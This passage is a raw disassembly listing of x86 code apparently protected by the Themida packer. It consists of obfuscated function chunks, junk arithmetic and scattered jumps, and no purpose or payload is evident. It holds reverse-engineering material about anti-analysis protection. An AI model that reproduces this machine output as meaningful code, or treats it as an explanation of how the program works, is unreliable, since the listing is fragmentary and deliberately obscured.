SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00561806 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005627E1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565945 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00565CB0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056654C SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005669A4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005697C0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00569EFB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056A1CA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056AB0B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056B269 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0056B49F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C9AD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056F0A3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00570E14 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005727D1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00572A8F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005733AF SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00573A72 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00575229 SIZE 00000011 BYTES sub esp, 4 mov [esp+4+var_4], edi mov edi, 7A935DAFh inc edi jmp loc_5601B6 sub_571C93 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_571CA7: ; CODE XREF: sub_5713A7-BC99j add ebx, 622CAC5h add edx, ebx pop ebx add edx, 31BA7CA0h sub edx, 0E3036DEh add edx, 46830E46h jmp loc_566D1B ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_571CC7: ; CODE XREF: sub_565632+84E3j and eax, ebp mov ebp, [esp+0] jmp loc_568776 ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- loc_571CD1: ; CODE XREF: Themida_:00571998j mov esi, 725C5459h jmp loc_569639 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_571CDB: ; CODE XREF: sub_567D31-3BD3j xor edi, [esp+4+var_4] jmp loc_56C8E9 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_571CE3: ; CODE XREF: sub_569A75+31CCj push edx mov dh, 0Ch push ecx mov cl, 40h and cl, 59h jmp loc_561CAC ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_571CF1: ; CODE XREF: sub_5678CB-AA8j pop edx inc al not al jmp loc_5703E6 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_571CFB: ; CODE XREF: sub_56FA15-3927j push [esp+16h+var_14+2] pop eax pop [esp+16h+var_18+2] jmp loc_562291 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_571D08: ; CODE XREF: sub_572075+46j add ebp, 4 sub ebp, 4 push ebp push [esp+0Ch+var_8] pop ebp jmp loc_57509D ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- loc_571D1C: ; CODE XREF: Themida_:00569E90j pop eax push esi push 3E640B0Fh mov esi, [esp] jmp loc_55FFA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_571D2B: ; CODE XREF: sub_56F3B2+4j push eax mov eax, esp jmp loc_56C953 ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_571D33: ; CODE XREF: sub_5620B7+C387j pop esi add esp, 4 xchg eax, edx xchg eax, ebx xchg edi, ebx jmp loc_56989A ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568E5C loc_571D43: ; CODE XREF: sub_568E5C+BFE5j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+4+var_4] jmp loc_564894 ; END OF FUNCTION CHUNK FOR sub_568E5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_571D5A: ; CODE XREF: sub_563819+D1FDj push edi push ebx mov ebx, 117C5E6Ah mov edi, 117C5E6Eh jmp loc_568E23 ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_571D6B: ; CODE XREF: sub_561541-307j mov edx, 672F0506h add ecx, edx pop edx mov eax, [esp+4+var_4] add esp, 4 push 5D9Ch mov [esp+4+var_4], ebx push 40h push [esp+8+var_8] jmp loc_560C2D ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_571D8E: ; CODE XREF: sub_56AB51+A8CAj xor eax, [esp+14h+var_14] mov esp, [esp+14h+var_14] jmp loc_5658E4 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_571D99: ; CODE XREF: sub_5678CB-4B99j mov esi, [esp] jmp loc_562CF0 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_571DA1: ; CODE XREF: sub_574304-267Ej xor ecx, 20D24751h push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 add esp, 4 jmp loc_5633F7 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570E81 loc_571DBB: ; CODE XREF: sub_570E81-652j sub [esp+4+arg_0], 3DF066B1h jmp loc_567A0F ; --------------------------------------------------------------------------- loc_571DC8: ; CODE XREF: sub_570E81-4213j add ebp, 3536057Dh mov edx, [esp+0Ch+var_C] jmp loc_56240B ; END OF FUNCTION CHUNK FOR sub_570E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716F1 loc_571DD6: ; CODE XREF: sub_5716F1+EC5j pop eax mov ebp, edi pop edi sub [esp-8+arg_8], ebp pop ebp pop dword ptr [edi+24h] ; END OF FUNCTION CHUNK FOR sub_5716F1 ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_571DE2: ; CODE XREF: sub_56D4B8+35B8j push 63DDh mov [esp-8+arg_4], ecx push ebx pop ecx jmp loc_56495E ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5684A6 loc_571DF1: ; CODE XREF: sub_5684A6+530Dj shl edx, 5 push edi mov edi, 0FDFDE004h add edx, edi pop edi jmp loc_56E8D6 ; END OF FUNCTION CHUNK FOR sub_5684A6 ; --------------------------------------------------------------------------- loc_571E02: ; CODE XREF: Themida_:00563A61j push edi mov edi, 4 jmp loc_561840 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_571E0D: ; CODE XREF: sub_56DA43-ABCAj mov [esp+4+var_4], esi push 7E34h mov [esp+8+var_8], esp add [esp+8+var_8], 4 push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 sub esp, 4 mov [esp+0Ch+var_C], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_560E35 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_571E44: ; CODE XREF: sub_575420-108ADj sub al, bh push ecx mov cl, 58h shl cl, 7 jmp loc_564DE6 ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- loc_571E51: ; CODE XREF: Themida_:0056166Dj pop esp add edx, edi jmp loc_57433D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565849 loc_571E59: ; CODE XREF: sub_565849+ED10j push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+8+var_8] jmp loc_561AAC ; END OF FUNCTION CHUNK FOR sub_565849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_571E6E: ; CODE XREF: sub_574949-B688j mov edi, esp jmp loc_562847 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_571E75: ; CODE XREF: sub_561418+13DCDj xor ebp, [esp+18h+var_18] xor [esp+18h+var_18], ebp xor ebp, [esp+18h+var_18] mov esp, [esp+18h+var_18] push 3C38h mov [esp+1Ch+var_1C], ebp dec [esp+1Ch+var_1C] jmp loc_56EE4E ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_571E91: ; CODE XREF: sub_56D69D-8076j sub esi, 366B6D38h push ebx mov ebx, 25611359h shr ebx, 7 shl ebx, 3 inc ebx xor ebx, 0B32E7FDDh add esi, ebx pop ebx push ecx jmp sub_56513E ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ABD0 loc_571EB3: ; CODE XREF: sub_56ABD0+8236j sub esi, 0E7FA5625h xor esi, 19867FFBh sub esi, 429967D8h add edx, 4525C76h sub edx, esi sub edx, 4525C76h pop esi jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56ABD0 ; --------------------------------------------------------------------------- loc_571ED9: ; CODE XREF: Themida_:0057433Ej add edx, 2 jmp loc_5688FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_571EE1: ; CODE XREF: sub_57354D-EE24j pop ebp or eax, eax jz sub_565A8D push dword ptr [edi+1Ch] jmp loc_572F04 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_571EF2: ; CODE XREF: sub_5685B2+3A71j push [esp+4+var_4] pop ebx add esp, 4 sub edx, 4 push 3F9Bh mov [esp+4+var_4], edx jmp loc_5745DD ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_571F0F: ; CODE XREF: sub_568764-5452j add edx, ebx push eax mov eax, 3962073Bh sub edx, 51510B1h jmp loc_56A53C ; END OF FUNCTION CHUNK FOR sub_568764 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FB8A loc_571F22: ; CODE XREF: sub_56FB8A-B7D0j add ebx, esi push [esp+4+var_4] pop esi add esp, 4 add ebx, 0F6F4F66h sub ebx, eax jmp loc_56AC07 ; END OF FUNCTION CHUNK FOR sub_56FB8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_571F38: ; CODE XREF: sub_563207+AC88j mov [esp+0Ch+var_C], ebp mov ebp, 2B0B6B17h jmp loc_565971 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_571F45: ; CODE XREF: sub_561541+ABF8j shl edx, 4 sub edx, 362AE4E1h add eax, edx mov edx, [esp+0Ch+var_C] add esp, 4 and eax, 8427803h add eax, 0FFFFB801h jmp loc_57163E ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_571F68: ; CODE XREF: sub_565B6E+B229j add eax, ebx jmp loc_56F649 ; END OF FUNCTION CHUNK FOR sub_565B6E ; =============== S U B R O U T I N E ======================================= sub_571F6F proc near ; CODE XREF: sub_56A7FB+1184j var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = dword ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005609AC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00560DE1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00561DFD SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005625EE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00562CFB SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0056382C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005641A4 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056625B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005666FF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005667C4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005669DB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00566C11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005671FF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567234 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00567EAC SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00569006 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569DDE SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0056A688 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A874 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056BB08 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DC53 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056DE94 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056EF3A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056EFBA SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F0E2 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057002C SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0057055F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057060E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00570BEC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570D2E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00570E67 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00570EA7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005711E7 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 00572287 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005725BB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00572628 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00572750 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572A65 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005742BB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005747F3 SIZE 00000007 BYTES sub esp, 4 jmp loc_57055F sub_571F6F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_571F7A: ; CODE XREF: sub_569DB5+9j mov [esp+4+var_4], ecx jmp loc_571466 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_571F82: ; CODE XREF: sub_5685B2-55EAj push [esp-10h+arg_C] jmp loc_566D22 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_571F8A: ; CODE XREF: sub_56264C+C2EBj pop ebx push ecx push esp jmp loc_57519D ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_571F92: ; CODE XREF: sub_57146D-2188j mov bh, cl pop ecx pop edx pop ecx mov dx, word ptr [esp+8+var_8] add esp, 2 jmp loc_5602FC ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_571FA6: ; CODE XREF: sub_57549C-59C6j xor ebp, esi jmp loc_56235A ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564BC5 loc_571FAD: ; CODE XREF: sub_564BC5+939Bj mov [esp+0Ch+var_C], ecx jmp loc_56AE8B ; END OF FUNCTION CHUNK FOR sub_564BC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_571FB5: ; CODE XREF: sub_571088-69CFj push dword ptr [edi+eax*4] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_571FBD: ; CODE XREF: sub_565632+7E10j push edi sub dword ptr [esp+0], 1 mov edi, [esp+0] jmp loc_56B6DD ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57146D loc_571FCA: ; CODE XREF: sub_57146D-32DDj mov cl, 13h add al, cl mov cx, word ptr [esp+0Eh+var_10+2] jmp loc_56EEB3 ; END OF FUNCTION CHUNK FOR sub_57146D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_571FD7: ; CODE XREF: sub_572DD7-CE11j sub [esp+4], edx pop edx jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- loc_571FE1: ; CODE XREF: Themida_:0056226Aj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov dx, [esp] jmp loc_56CB29 ; --------------------------------------------------------------------------- loc_571FF4: ; CODE XREF: Themida_:0056A3E3j push dword ptr [esp] pop edi add esp, 4 push eax mov eax, 59347368h dec eax sub eax, 59347363h add edi, eax pop eax jmp loc_56A0F5 ; --------------------------------------------------------------------------- loc_572012: ; CODE XREF: Themida_:00571507j xor edi, 55D7FFBAh sub ebx, 376552A4h jmp loc_56F9C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_572023: ; CODE XREF: sub_561418+660Aj mov edx, [esp+0] push 49ECh mov [esp+4+var_4], ecx push esp pop ecx push edx push ecx mov ecx, 36AF4089h xor ecx, 506E7B25h not ecx jmp loc_5633AC ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_572044: ; CODE XREF: sub_56616D+3A68j xchg ecx, [esp-10h+arg_C] pop esp push ecx mov ecx, 663F3C2Eh push ecx jmp loc_57524C ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568CD2 loc_572054: ; CODE XREF: sub_568CD2-1EFCj sub ecx, 4 xor ecx, [esp+0] xor [esp+0], ecx xor ecx, [esp+0] jmp loc_571660 ; END OF FUNCTION CHUNK FOR sub_568CD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_572065: ; CODE XREF: sub_5713A7-1968j dec ecx not ecx xor ecx, 0BFCEFA26h sub ebx, ecx jmp loc_5697C7 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; =============== S U B R O U T I N E ======================================= sub_572075 proc near ; DATA XREF: Themida_:0055FCF4o var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561910 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056269D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00562986 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056346B SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00564B88 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056653B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566B9C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00568D4C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056996F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569C2F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056AD76 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056BA91 SIZE 0000006B BYTES ; FUNCTION CHUNK AT 0056BFFB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056C677 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056D26E SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0056FB7B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056FDBA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00571ADA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571D08 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005720C0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00572C60 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0057509D SIZE 00000035 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop ecx add esp, 4 push 7CCAh mov [esp+4+var_4], edi mov edi, esp sub esp, 4 mov [esp+8+var_8], edx mov edx, 19125E32h neg edx or edx, 53FA49A6h add edx, 8001616h add edi, edx push [esp+8+var_8] pop edx add esp, 4 push 7429h mov [esp+8+var_8], ebp push esp pop ebp jmp loc_571D08 sub_572075 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_5720C0: ; CODE XREF: sub_572075-D4DFj sub ecx, 791A2EF3h pop ebp push ecx push [esp+8+var_4] mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_56D26E ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5720DA: ; CODE XREF: sub_5713A7-FA9Cj sub edx, esi mov esi, [esp+0Ch+var_C] add esp, 4 add edx, ecx jmp loc_56B4EC ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- loc_5720E9: ; CODE XREF: Themida_:00561C40j dec ebp jmp loc_5714F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_5720EF: ; CODE XREF: sub_57109F-5FCAj xor ebp, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebp xor ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_572100: ; CODE XREF: sub_572141-9389j add ebp, 2 jmp loc_56F8AB ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_57210B: ; CODE XREF: sub_564D26+C330j push 254h mov [esp+24h+var_24], ebx mov ebx, 74D25BB7h shl ebx, 6 jmp loc_5695E4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C7AA loc_572120: ; CODE XREF: sub_56C7AA-9A31j pop esp jmp loc_56A6BE ; END OF FUNCTION CHUNK FOR sub_56C7AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_572126: ; CODE XREF: sub_56BD36-3540j mov ebp, 4 add ebx, ebp mov ebp, [esp+8+var_8] add esp, 4 xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx jmp loc_561E74 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; =============== S U B R O U T I N E ======================================= sub_572141 proc near ; DATA XREF: Themida_:0055FE04o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056247E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00563356 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056437F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00567AB9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005682FE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00568DB2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569658 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00569D35 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056B206 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C229 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056CA70 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056CBDF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056CFF0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056F708 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F8AB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00570B7E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00572100 SIZE 0000000B BYTES mov cx, [esp+0] push 6470h mov [esp+4+var_4], ebp jmp loc_56CBDF sub_572141 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_572152: ; CODE XREF: sub_56616D+AA4Aj mov eax, 7B631668h and eax, 500A5759h push ebp mov ebp, 71A60967h or eax, ebp pop ebp and eax, 12D673CBh neg eax push edi mov edi, 3DD0456Bh add eax, 2B8D6714h add eax, edi sub eax, 2B8D6714h pop edi or esi, eax pop eax shl esi, 2 neg esi jmp loc_56AC4B ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_57218C: ; CODE XREF: sub_56DA43-DA1Aj add esp, 4 add edx, ebp jmp loc_56F858 ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_572199: ; CODE XREF: sub_565A8D+74EBj add esp, 4 xor ebx, [esp+0] jmp loc_56C3D4 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_5721A4: ; CODE XREF: sub_574287-9EC0j mov edi, 670C24E1h add edi, 0FFFFFFFFh xor edi, 57B86C7Eh inc edi jmp loc_565FD0 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5721BB: ; CODE XREF: sub_56AB5E+1D7Ej push edx push [esp+10h+var_C] pop edx jmp loc_566059 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_5721C6: ; CODE XREF: sub_56D855+11F1j add ebp, eax jmp loc_56163D ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_5721CD: ; CODE XREF: sub_56C83E+F34j and esi, 62FB7FA7h push ecx push edx push 33922A3Fh pop edx xor edx, 1042710Fh mov ecx, edx pop edx add esi, ecx pop ecx not esi push edi mov edi, 0FF6A323h sub esi, edi pop edi jmp loc_568829 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_5721F7: ; CODE XREF: sub_5648C6+1E52j pop esi mov eax, 0FF7185C3h add eax, ebx pop ebx add ebp, eax pop eax add ebp, 4 jmp loc_568C88 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57220E: ; CODE XREF: sub_561418+1042Fj xor edi, 51C42F27h push eax mov eax, 86C20C46h add edi, eax pop eax mov esi, edi pop edi push edi mov edi, 7FFA4879h add eax, 7AEA6268h jmp loc_56F1CF ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_572230: ; CODE XREF: sub_564D26-2515j xchg edi, [esp+8+var_8] pop esp and eax, esi push [esp+4+var_4] mov esi, [esp+8+var_8] add esp, 4 add esp, 4 or eax, eax jz sub_569193 push dword ptr [edi+1Ch] push 7C73h mov [esp+8+var_8], eax jmp loc_56993E ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_57225D: ; CODE XREF: sub_56628B+34BAj add edi, 6165A84h sub eax, edi pop edi push 7ABh jmp loc_5619FF ; END OF FUNCTION CHUNK FOR sub_56628B ; =============== S U B R O U T I N E ======================================= sub_572270 proc near ; DATA XREF: Themida_:0055FD50o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056503E SIZE 00000011 BYTES push dword ptr [esp+0] push [esp+4+var_4] pop eax sub esp, 4 mov [esp+8+var_8], ebx mov ebx, esp jmp loc_56503E sub_572270 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_572287: ; CODE XREF: sub_571F6F-AD28j sub eax, 28ED49C1h xor ecx, eax mov eax, [esp+0Ch+var_E+2] jmp loc_561DFD ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_572296: ; CODE XREF: sub_56AA2B+829Aj inc ecx jmp loc_56060F ; END OF FUNCTION CHUNK FOR sub_56AA2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680F2 loc_57229C: ; CODE XREF: sub_5680F2+4j push 1CF3h mov [esp+4+var_4], edi push esp mov edi, [esp+8+var_8] sub esp, 4 jmp loc_56DB46 ; 